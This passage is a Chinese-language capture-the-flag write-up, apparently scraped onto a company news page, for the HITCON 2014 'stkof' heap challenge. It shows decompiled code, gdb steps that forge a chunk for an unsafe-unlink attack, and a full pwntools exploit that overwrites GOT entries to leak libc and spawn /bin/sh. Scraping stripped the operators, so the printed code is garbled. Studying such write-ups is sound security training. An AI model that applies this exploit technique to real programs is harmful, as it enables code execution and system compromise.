ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

HITCON CTF 2014 — stkof · Unsafe Unlink

HITCON CTF 2014 — stkof · Unsafe Unlink HITCON CTF 2014 — stkof · Unsafe Unlink我们今天看一下这道unlink相关的题目这道题目相对简单我们查看完保护之后就使用ida进行静态分析一下ida静态分析我们还是先看main函数__int64 __fastcall main(int a1, char **a2, char **a3) { int v3; // eax int v5; // [rspCh] [rbp-74h] char nptr[104]; // [rsp10h] [rbp-70h] BYREF unsigned __int64 v7; // [rsp78h] [rbp-8h] v7 __readfsqword(0x28u); alarm(0x78u); while ( fgets(nptr, 10, stdin) ) { v3 atoi(nptr); if ( v3 2 ) { v5 sub_4009E8(); //sub_4009E8函数就是edit函数 goto LABEL_14; } if ( v3 2 ) { if ( v3 3 ) { v5 sub_400B07(); //free goto LABEL_14; } if ( v3 4 ) { v5 sub_400BA9(); goto LABEL_14; } } else if ( v3 1 ) { v5 sub_400936(); //create函数 goto LABEL_14; } v5 -1; LABEL_14: if ( v5 ) puts(FAIL); else puts(OK); fflush(stdout); } return 0; }我们这里注意一下这里是有一个金丝雀保护的也就是v7虽然这个漏洞用不到但是还是提醒一下。这次的题目代码没什么难度我们直接看漏洞点__int64 sub_4009E8() { int i; // eax unsigned int v2; // [rsp8h] [rbp-88h] __int64 n; // [rsp10h] [rbp-80h] char *ptr; // [rsp18h] [rbp-78h] char s[104]; // [rsp20h] [rbp-70h] BYREF unsigned __int64 v6; // [rsp88h] [rbp-8h] v6 __readfsqword(0x28u); fgets(s, 16, stdin); v2 atol(s); if ( v2 0x100000 ) return 0xFFFFFFFFLL; if ( !(::s)[v2] ) return 0xFFFFFFFFLL; fgets(s, 16, stdin); n atoll(s); ptr (::s)[v2]; for ( i fread(ptr, 1u, n, stdin); i 0; i fread(ptr, 1u, n, stdin) ) { ptr i; n - i; } if ( n ) return 0xFFFFFFFFLL; else return 0; }在edit函数中我们发现在低18行我们fread的输入长度是我们自己规定的这样一来我们就可以使用堆溢出漏洞来完成这个unlink漏洞的演示了然后我们注意一个点__int64 sub_400936() { __int64 size; // [rsp0h] [rbp-80h] char *v2; // [rsp8h] [rbp-78h] char s[104]; // [rsp10h] [rbp-70h] BYREF unsigned __int64 v4; // [rsp78h] [rbp-8h] v4 __readfsqword(0x28u); fgets(s, 16, stdin); size atoll(s); v2 (char *)malloc(size); if ( !v2 ) return 0xFFFFFFFFLL; (::s)[dword_602100] v2; printf(%d\n, dword_602100); return 0; }我们看进行申请堆块的函数的14行我们可以发现这个是前置的加加也就是说下标为0的堆块我们用不到动态验证我们这里直接创建3个堆块然后对第二个堆块的内容进行修改这里的144是我们申请的堆块的大小12816堆头(gdb) set {long}($u20x00) 0 # 伪造 fake_chunk 的 prev_size (gdb) set {long}($u20x08) 0 # 伪造 fake_chunk 的 size (gdb) set {long}($u20x10) 0x602138 # 伪造 fd (即 ptr - 0x18) (gdb) set {long}($u20x18) 0x602140 # 伪造 bk (即 ptr - 0x10)这里的0x602150存储的就是chunk2的地址这里我们看到s的地址是0x602140然后之后的符号是db也就是一个字节我们的程序是64位的所以chunk2就是0x6021400x10watch *(long*)0x602150上面的指令的意思是死死盯住 0x602150 这个内存地址只要有任何代码敢修改里面的数据立刻把程序暂停下来并向我报告第一次命中第一次命中执行FD-bk BKOld value是一串堆地址原来的P。New value 6299968转换成十六进制就是0x602140这就是ptr - 16你伪造的 BK。 此时程序停在了libc.so的内部。第二次命中Old value 是刚写进去的 0x602140。New value 6299960转换成十六进制就是 0x602138这就是 ptr - 24你伪造的 FD。大功告成最终留在 0x602150 里的值被死死地钉在了 0x602138。此时我们就差临门一脚就可以完成unlink了(gdb) delete删除刚才下的watch观察点和断点让程序接下来能畅通无阻地跑下去。(gdb) set $sys *(long*)0x602088 - 0x36e80 0x45390 (gdb) printf system %p\n, $sys0x602088是程序里atoi函数的 GOT 表地址。程序在前面运行菜单时已经用过atoi了所以此时 GOT 表里存的已经是atoi在内存中的真实物理地址。*(long*)0x602088提取出atoi的真实地址。- 0x36e80减去atoi在 libc 库里的固定偏移量这个偏移是你提前查好的得到的值就是libc 库在内存中的加载基地址。 0x45390加上system函数在 libc 里的固定偏移。结果完美算出了此时此刻系统中system函数的绝对真实地址并存入 GDB 变量$sys。(gdb) set {long}0x602140 0x602088 # s[0] 指向 atoiGOT (gdb) set {long}0x602148 0x602018 # s[1] 指向 freeGOT (gdb) set {long}0x602150 0x6021a0 # s[2] 指向 .bss 段的一块空白区域 (gdb) set {long}0x602158 0 # s[3] 清空如果是写 Python 脚本你会往s[2](0x602138) 里连着写入上面这些地址。在这里你直接用 GDB 赋值了。你把程序原本用来记堆块的“账本”强行换成了系统关键函数atoi和free的控制面板。(gdb) set {long}0x602018 $sys这是最致命的一击。0x602018是free函数的 GOT 表地址。你把刚才算出来的system函数地址$sys直接塞进了free的 GOT 表里。从这一秒开始这个程序里再也没有free了只要程序调用free(xxx)底层实际执行的都会是system(xxx)(gdb) set {long}0x6021a0 0x0068732f6e69622f刚才在第 3 步你让s[2]指向了0x6021a0这个空白内存。现在你往0x6021a0里面写了一串十六进制数0x0068732f6e69622f。把这串数字按“小端序Little-Endian”转成 ASCII 字符刚好就是/bin/sh\x00结果就是现在 **s[2]这个指针指向了字符串/bin/sh**。之后我们进行释放一下就完成了验证此时我们的动态验证就完成了接下来就是写脚本expfrom pwn import * BIN_DIR os.path.dirname(os.path.abspath(__file__)) EXE os.path.join(BIN_DIR, stkof) LIBC os.path.join(BIN_DIR, libc-2.23.so) LD os.path.join(BIN_DIR, ld-2.23.so) context.log_level info context.arch amd64 # 必须显式设置flat() 默认按 32 位打包会把 payload 写歪 elf ELF(EXE, checksecFalse) libc ELF(LIBC, checksecFalse) # ---------------------------------------------------------------- 关键偏移表 S_BASE 0x602140 # s[] 指针数组基址 (.bss) FREE_GOT 0x602018 # freegot ATOI_GOT 0x602088 # atoigot PUTS_PLT 0x400760 # putsplt STR_ADDR 0x6021a0 # s[12] 槽的位置仅借来放 /bin/sh不参与指针解引用 def start(): # 沙箱里 stkof 的 interp 是 ./ld-2.23.so必须显式用它加载 # 否则会去啃系统 glibc 并报 GLIBC_PRIVATE。 return process([./ld-2.23.so, --library-path, ., ./stkof], cwdBIN_DIR) def add(size): p.sendline(b1) p.sendline(str(size).encode()) p.recvuntil(bOK\n, timeout3) def edit(idx, size, data): p.sendline(b2) p.sendline(str(idx).encode()) p.sendline(str(size).encode()) p.send(data) p.recvuntil(bOK\n, timeout3) def free(idx, consumeTrue): p.sendline(b3) p.sendline(str(idx).encode()) if consume: p.recvuntil(bOK\n, timeout3) def exploit(): global p # ---- 0. 预热 stdout 缓冲区 ------------------------------------------- # 第一次 printf 会触发 stdout 的 malloc(1024)插在堆块之间打断连续性 # 导致 chunk2/chunk3 不再相邻。先打一次无关命令把缓冲区准备好。 p.sendline(b9) p.recvuntil(bFAIL\n, timeout3) # ---- 1. 布局 -------------------------------------------------------- add(0x100) # 1 - U1 add(0x30) # 2 - U2 伪造 chunk 的载体要求 size 恰为 0x40使 U2 落在后续 prev_size 之前 add(0x80) # 3 - U3 victim # ---- 2. 伪造 chunk 污染 victim 的 prev_size / PREV_INUSE ---------- # unlink 宏在 glibc 2.23 的取址方式是 P-fd *(P0x10), P-bk *(P0x18) # 而 p 由 chunk3 - prev_size 反推prev_size0x30 使 p 正好落在 U2。 # 于是校验读到的 *(FD0x18) 与 *(BK0x10) 都指向 s[2] 槽其值就是 U2 p。 S2 S_BASE 2 * 8 # s[2] 0x602150 fake p64(0) p64(0) # U20x00: 假 chunk 的 prev_size / size # size0 落在 smallbin 区间跳过 fd_nextsize 分支 fake p64(S2 - 0x18) # U20x10: 假 chunk 的 fd fake p64(S2 - 0x10) # U20x18: 假 chunk 的 bk fake b\x00 * 0x10 fake p64(0x30) p64(0x90) # chunk3 的 prev_size0x30size 清掉 PREV_INUSE原为 0x91 edit(2, len(fake), fake) log.info(fake chunk 就绪触发 unlink) free(3) # - s[2] 0x602138 # ---- 3. 把 s[] 数组改造成「指针表」 --------------------------------- # 现在 edit(2) 写的是 0x602138即 s[0]-8。 # ▸ 0x602138 是 s[] 前的填充跳过 8 字节后正好落在 s[0]。 edit(2, 0x28, p64(0) p64(ATOI_GOT) p64(FREE_GOT) p64(STR_ADDR) p64(0)) # s[0] atoigot 泄露用free 后会被清零 # s[1] freegot 改写 GOT 用 # s[2] STR_ADDR 放 /bin/sh # s[3] 0 # ---- 4. 泄露 libc --------------------------------------------------- edit(1, 8, p64(PUTS_PLT)) # freegot - putsplt free(0, consumeFalse) # 实际执行 puts(atoigot) —— 打印 atoi 的运行时地址 leak p.recvn(6, timeout3) # 地址 6 字节第 7 字节为 \x00puts 到此为止 p.recvuntil(bOK\n, timeout3) atoi_addr u64(leak.ljust(8, b\x00)) libc_base atoi_addr - libc.symbols[atoi] system libc_base libc.symbols[system] assert libc_base 0xFFF 0, 泄露解析失败: %#x % atoi_addr log.success(atoi %#x, atoi_addr) log.success(libc_base %#x, libc_base) log.success(system %#x, system) # ---- 5. GOT 换成 system放飞 /bin/sh ----------------------------- edit(1, 8, p64(system)) # freegot - system edit(2, 8, b/bin/sh\x00) # STR_ADDR - /bin/sh free(2) # - system(/bin/sh) # ---- 6. 验证 shell -------------------------------------------------- p.sendline(becho PWNED_UNLINK_UNSAFE) time.sleep(0.4) out p.recv(timeout3).decode(errorsreplace) p.sendline(bid) time.sleep(0.4) out p.recv(timeout3).decode(errorsreplace) p.sendline(becho ---SHELL_OK---) time.sleep(0.4) out p.recv(timeout3).decode(errorsreplace) print(out) assert PWNED_UNLINK_UNSAFE in out, 未拿到回显 log.success(shell 到手) return out if __name__ __main__: p start() try: exploit() p.sendline(bexit) except Exception as e: log.failure(利用失败: %r, e) raise finally: p.close()至此本篇博客就结束了感谢观看
返回列表